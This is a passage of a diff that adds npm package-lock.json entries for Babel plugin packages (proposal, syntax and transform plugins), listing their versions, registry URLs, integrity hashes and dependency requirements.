"sha512-yiclALKe0vyZRZE0pS6RXgjUOt87GWv6FYa5zqj15PvhOGFO69R5DusPlgK/1K5dVnCtegTiWu9UaBSrLLJJBg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-object-rest-spread": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.15.6.tgz", + "integrity": "sha512-qtOHo7A1Vt+O23qEAX+GdBpqaIuD3i9VRrWgCJeq7WO6H2d14EK3q11urj5Te2MAeK97nMiIdRpwd/ST4JFbNg==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.15.0", + "@babel/helper-compilation-targets": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-catch-binding": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.14.5.tgz", + "integrity": "sha512-3Oyiixm0ur7bzO5ybNcZFlmVsygSIQgdOa7cTfOYCMY+wEPAYhZAJxi3mixKFCTCKUhQXuCTtQ1MzrpL3WT8ZQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-chaining": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.14.5.tgz", + "integrity": "sha512-ycz+VOzo2UbWNI1rQXxIuMOzrDdHGrI23fRiz/Si2R4kv2XZQ1BK8ccdHwehMKBlcH/joGW/tzrUmo67gbJHlQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.14.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-methods": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.14.5.tgz", + "integrity": "sha512-838DkdUA1u+QTCplatfq4B7+1lnDa/+QMI89x5WZHBcnNv+47N8QEj2k9I2MUU9xIv8XJ4XvPCviM/Dj7Uwt9g==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.15.4.tgz", + "integrity": "sha512-X0UTixkLf0PCCffxgu5/1RQyGGbgZuKoI+vXP4iSbJSYwPb7hu06omsFGBvQ9lJEvwgrxHdS8B5nbfcd8GyUNA==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.15.4", + "@babel/helper-create-class-features-plugin": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-unicode-property-regex": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.14.5.tgz", + "integrity": "sha512-6axIeOU5LnY471KenAB9vI8I5j7NQ2d652hIYwVyRfgaZT5UpiqFKCuVXCDMSrU+3VFafnu2c5m3lrWIlr6A5Q==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.14.5.tgz", + "integrity": "sha512-ohuFIsOMXJnbOMRfX7/w7LocdR6R7whhuRD4ax8IipLcLPlZGJKkBxgHp++U4N/vKyU16/YDQr2f5seajD3jIw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.14.5.tgz", + "integrity": "sha512-KOnO0l4+tD5IfOdi4x8C1XmEIRWUjNRV8wc6K2vz/3e8yAOoZZvsRXRRIF/yo/MAOFb4QjtAw9xSxMXbSMRy8A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.14.5.tgz", + "integrity": "sha512-szkbzQ0mNk0rpu76fzDdqSyPu0MuvpXgC+6rz5rpMb5OIRxdmHfQxrktL8CYolL2d8luMCZTR0DpIMIdL27IjA==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-remap-async-to-generator": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator/node_modules/@babel/helper-module-imports": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", + "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.14.5.tgz", + "integrity": "sha512-dtqWqdWZ5NqBX3KzsVCWfQI3A53Ft5pWFCT2eCVUftWZgjc5DpDponbIF1+c+7cSGk2wN0YK7HGL/ezfRbpKBQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.15.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.15.3.tgz", + "integrity": "sha512-nBAzfZwZb4DkaGtOes1Up1nOAp9TDRRFw4XBzBBSG9QK7KVFmYzgj9o9sbPv7TX5ofL4Auq4wZnxCoPnI/lz2Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.15.4.tgz", + "integrity": "sha512-Yjvhex8GzBmmPQUvpXRPWQ9WnxXgAFuZSrqOK/eJlOGIXwvv8H3UEdUigl1gb/bnjTrln+e8bkZUYCBt/xYlBg==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-optimise-call-expression": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-replace-supers": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/@babel/code-frame": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/@babel/helper-function-name": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/@babel/helper-get-function-arity": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/@babel/helper-split-export-declaration": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/@babel/highlight": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/@babel/parser": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/@babel/template": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.14.5.tgz", + "integrity": "sha512-pWM+E4283UxaVzLb8UBXv4EIxMovU4zxT1OPnpHJcmnvyY9QbPPTKZfEj31EUvG3/EQRbYAGaYEUZ4yWOBC2xg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.14.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.14.7.tgz", + "integrity": "sha512-0mDE99nK+kVh3xlc5vKwB6wnP9ecuSj+zQCa/n0voENtP/zymdT4HH6QEb65wjjcbqr1Jb/7z9Qp7TF5FtwYGw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.14.5.tgz", + "integrity": "sha512-loGlnBdj02MDsFaHhAIJzh7euK89lBrGIdM9EAtHFo6xKygCUGuuWe07o1oZVk287amtW1n0808sQM99aZt3gw==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.14.5.tgz", + "integrity": "sha512-iJjbI53huKbPDAsJ8EmVmvCKeeq21bAze4fu9GBQtSLqfvzj2oRuHVx4ZkDwEhg1htQ+5OBZh/Ab0XDf5iBZ7A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.14.5.tgz", + "integrity": "sha512-jFazJhMBc9D27o9jDnIE5ZErI0R0m7PbKXVq77FFvqFbzvTMuv8jaAwLZ5PviOLSFttqKIW0/wxNSDbjLk0tYA==", + "dev": true, + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.15.4.tgz", + "integrity": "sha512-DRTY9fA751AFBDh2oxydvVm4SYevs5ILTWLs6xKXps4Re/KG5nfUkr+TdHCrRWB8C69TlzVgA9b3RmGWmgN9LA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.14.5.tgz", + "integrity": "sha512-vbO6kv0fIzZ1GpmGQuvbwwm+O4Cbm2NrPzwlup9+/3fdkuzo1YqOZcXw26+YUJB84Ja7j9yURWposEHLYwxUfQ==", + "dev": true, + "dependencies": { + "@babel/helper-function-name": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name/node_modules/@babel/code-frame": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-function-name/node_modules/@babel/helper-function-name": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-function-name/node_modules/@babel/helper-get-function-arity": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-function-name/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-function-name/node_modules/@babel/highlight": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-function-name/node_modules/@babel/parser": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-function-name/node_modules/@babel/template": { + "version": "7.15.4", + "resolved": 